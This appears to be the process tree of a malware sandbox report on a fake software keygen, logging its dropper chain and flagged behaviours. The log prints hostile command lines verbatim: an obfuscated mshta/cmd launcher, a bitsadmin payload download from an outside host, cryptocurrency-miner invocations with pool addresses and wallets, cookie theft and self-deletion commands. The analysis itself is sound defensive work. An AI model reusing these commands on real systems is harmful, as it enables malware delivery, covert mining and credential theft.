C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8484 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7036 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1604,14950605157833147723,10882017259704012958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2236 /prefetch:82⤵
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\89.259.200\software_reporter_tool.exe"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\89.259.200\software_reporter_tool.exe" --engine=2 --scan-locations=1,2,3,4,5,6,7,8,10 --disabled-locations=9,11 --session-id=1ztIqnSWrdwMBwA+0cnTWCGpOD6nCbEjqi4o2lv1 --registry-suffix=ESET --srt-field-trial-group-name=NewCleanerUIExperiment2⤵
-
\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\89.259.200\software_reporter_tool.exe"c:\users\admin\appdata\local\google\chrome\user data\swreporter\89.259.200\software_reporter_tool.exe" --crash-handler "--database=c:\users\admin\appdata\local\Google\Software Reporter Tool" --url=https://clients2.google.com/cr/report --annotation=plat=Win32 --annotation=prod=ChromeFoil --annotation=ver=89.259.200 --initial-client-data=0x244,0x248,0x24c,0x220,0x250,0x7ff74595ac28,0x7ff74595ac38,0x7ff74595ac483⤵
-
\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\89.259.200\software_reporter_tool.exe"c:\users\admin\appdata\local\google\chrome\user data\swreporter\89.259.200\software_reporter_tool.exe" --use-crash-handler-with-id="\\.\pipe\crashpad_6056_WWMYNYSJHPMAQAAA" --sandboxed-process-id=2 --init-done-notifier=716 --sandbox-mojo-pipe-token=7317689736082405350 --mojo-platform-channel-handle=668 --engine=23⤵
-
\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\89.259.200\software_reporter_tool.exe"c:\users\admin\appdata\local\google\chrome\user data\swreporter\89.259.200\software_reporter_tool.exe" --use-crash-handler-with-id="\\.\pipe\crashpad_6056_WWMYNYSJHPMAQAAA" --sandboxed-process-id=3 --init-done-notifier=916 --sandbox-mojo-pipe-token=1797748242662463080 --mojo-platform-channel-handle=9123⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\ssdjcsgC:\Users\Admin\AppData\Roaming\ssdjcsg2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\tcdjcsgC:\Users\Admin\AppData\Roaming\tcdjcsg2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\tcdjcsgC:\Users\Admin\AppData\Roaming\tcdjcsg3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\tcdjcsgC:\Users\Admin\AppData\Roaming\tcdjcsg2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\tcdjcsgC:\Users\Admin\AppData\Roaming\tcdjcsg3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\ssdjcsgC:\Users\Admin\AppData\Roaming\ssdjcsg2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp2_Trepcad_6_6_00_serial_keys_gen_by_FFF.zip\Trepcad_6_6_00_serial_keys_gen_by_FFF.exe"C:\Users\Admin\AppData\Local\Temp\Temp2_Trepcad_6_6_00_serial_keys_gen_by_FFF.zip\Trepcad_6_6_00_serial_keys_gen_by_FFF.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exekeygen-step-5.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRiPt: cLOsE (CREATeOBJECt( "wSCRIpT.shEll" ). RUN ( "cMd /C type ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" > MwwOA5GbuNV~Z.exe && sTArT MwwOA5GbuNV~Z.exe /pkpxuxwmNl2s_EnQNC5XPVi2 & iF """" == """" for %M In ( ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" ) do taskkill /F -iM ""%~NXM"" > nUl " , 0 ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C type "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" > MwwOA5GbuNV~Z.exe &&sTArT MwwOA5GbuNV~Z.exe /pkpxuxwmNl2s_EnQNC5XPVi2 & iF "" == "" for %M In ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill /F -iM "%~NXM" > nUl5⤵
-
C:\Users\Admin\AppData\Local\Temp\MwwOA5GbuNV~Z.exeMwwOA5GbuNV~Z.exe /pkpxuxwmNl2s_EnQNC5XPVi26⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRiPt: cLOsE (CREATeOBJECt( "wSCRIpT.shEll" ). RUN ( "cMd /C type ""C:\Users\Admin\AppData\Local\Temp\MwwOA5GbuNV~Z.exe"" > MwwOA5GbuNV~Z.exe && sTArT MwwOA5GbuNV~Z.exe /pkpxuxwmNl2s_EnQNC5XPVi2 & iF ""/pkpxuxwmNl2s_EnQNC5XPVi2 "" == """" for %M In ( ""C:\Users\Admin\AppData\Local\Temp\MwwOA5GbuNV~Z.exe"" ) do taskkill /F -iM ""%~NXM"" > nUl " , 0 ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C type "C:\Users\Admin\AppData\Local\Temp\MwwOA5GbuNV~Z.exe" > MwwOA5GbuNV~Z.exe &&sTArT MwwOA5GbuNV~Z.exe /pkpxuxwmNl2s_EnQNC5XPVi2 & iF "/pkpxuxwmNl2s_EnQNC5XPVi2 " == "" for %M In ( "C:\Users\Admin\AppData\Local\Temp\MwwOA5GbuNV~Z.exe" ) do taskkill /F -iM "%~NXM" > nUl8⤵
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /U -S .\5VOMHR.c7⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -iM "keygen-step-5.exe"6⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exekeygen-step-2.exe3⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\3370.tmp.exe"C:\Users\Admin\AppData\Roaming\3370.tmp.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\3370.tmp.exe"5⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK6⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL4⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\xiuhuali.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\xiuhuali.exe"4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install5⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\JoSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\JoSetp.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-RCAJ4.tmp\Install.tmp"C:\Users\Admin\AppData\Local\Temp\is-RCAJ4.tmp\Install.tmp" /SL5="$60284,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-J6JH5.tmp\Ultra.exe"C:\Users\Admin\AppData\Local\Temp\is-J6JH5.tmp\Ultra.exe" /S /UID=burnerch16⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
-
C:\Program Files\Microsoft Office 15\JZHRRCQIYB\ultramediaburner.exe"C:\Program Files\Microsoft Office 15\JZHRRCQIYB\ultramediaburner.exe" /VERYSILENT7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\is-SST52.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-SST52.tmp\ultramediaburner.tmp" /SL5="$90282,281924,62464,C:\Program Files\Microsoft Office 15\JZHRRCQIYB\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\10-655b3-a53-b808b-3d9b489ed11f7\Camygycelae.exe"C:\Users\Admin\AppData\Local\Temp\10-655b3-a53-b808b-3d9b489ed11f7\Camygycelae.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\8c-cb1b4-a67-21b81-3b77f7bcf013e\Bilaedabena.exe"C:\Users\Admin\AppData\Local\Temp\8c-cb1b4-a67-21b81-3b77f7bcf013e\Bilaedabena.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jtasldfp.a2g\instEU.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\jtasldfp.a2g\instEU.exeC:\Users\Admin\AppData\Local\Temp\jtasldfp.a2g\instEU.exe9⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qwnt1uff.ghv\md1_1eaf.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\qwnt1uff.ghv\md1_1eaf.exeC:\Users\Admin\AppData\Local\Temp\qwnt1uff.ghv\md1_1eaf.exe9⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\myj5jlqw.c0s\google-game.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\myj5jlqw.c0s\google-game.exeC:\Users\Admin\AppData\Local\Temp\myj5jlqw.c0s\google-game.exe9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install10⤵
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ehqmmyac.y14\y1.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\ehqmmyac.y14\y1.exeC:\Users\Admin\AppData\Local\Temp\ehqmmyac.y14\y1.exe9⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\YfB9ZaknxD.exe"C:\Users\Admin\AppData\Local\Temp\YfB9ZaknxD.exe"10⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\1619212907660.exe"C:\Users\Admin\AppData\Roaming\1619212907660.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619212907660.txt"11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\YfB9ZaknxD.exe"11⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 312⤵
- Runs ping.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gex0qgni.m3x\inst.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\gex0qgni.m3x\inst.exeC:\Users\Admin\AppData\Local\Temp\gex0qgni.m3x\inst.exe9⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\idy22joo.qgt\SunLabsPlayer.exe /S & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\idy22joo.qgt\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\idy22joo.qgt\SunLabsPlayer.exe /S9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z10⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -poeWnrHrvM7MCbDA -y x C:\zip.7z -o"C:\Program Files\temp_files\"10⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pjlLAVBBbnyzh2Zt -y x C:\zip.7z -o"C:\Program Files\temp_files\"10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
- Blocklisted process makes network request
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\CWUXzWKCkA\CWUXzWKCkA.dll" CWUXzWKCkA10⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\CWUXzWKCkA\CWUXzWKCkA.dll" CWUXzWKCkA11⤵
- Loads dropped DLL
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsjB19B.tmp\tempfile.ps1"10⤵
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT10⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mpkilhd0.fpp\GcleanerWW.exe /mixone & exit8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1isotl5c.2uj\toolspab1.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\1isotl5c.2uj\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\1isotl5c.2uj\toolspab1.exe9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\1isotl5c.2uj\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\1isotl5c.2uj\toolspab1.exe10⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z32f11hv.had\c7ae36fa.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\z32f11hv.had\c7ae36fa.exeC:\Users\Admin\AppData\Local\Temp\z32f11hv.had\c7ae36fa.exe9⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0eumeiyu.14j\app.exe /8-2222 & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\0eumeiyu.14j\app.exeC:\Users\Admin\AppData\Local\Temp\0eumeiyu.14j\app.exe /8-22229⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\0eumeiyu.14j\app.exe"C:\Users\Admin\AppData\Local\Temp\0eumeiyu.14j\app.exe" /8-222210⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\filee.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\filee.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7710.tmp.exe"C:\Users\Admin\AppData\Roaming\7710.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\7710.tmp.exe"C:\Users\Admin\AppData\Roaming\7710.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Users\Admin\AppData\Roaming\7AF9.tmp.exe"C:\Users\Admin\AppData\Roaming\7AF9.tmp.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w26844@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w15719 --cpu-max-threads-hint 50 -r 99996⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\filee.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\jg6_6asg.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\jg6_6asg.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gaoou.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gaoou.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\A271.exeC:\Users\Admin\AppData\Local\Temp\A271.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\A271.exe"C:\Users\Admin\AppData\Local\Temp\A271.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\ABA9.exeC:\Users\Admin\AppData\Local\Temp\ABA9.exe1⤵
- Executes dropped EXE
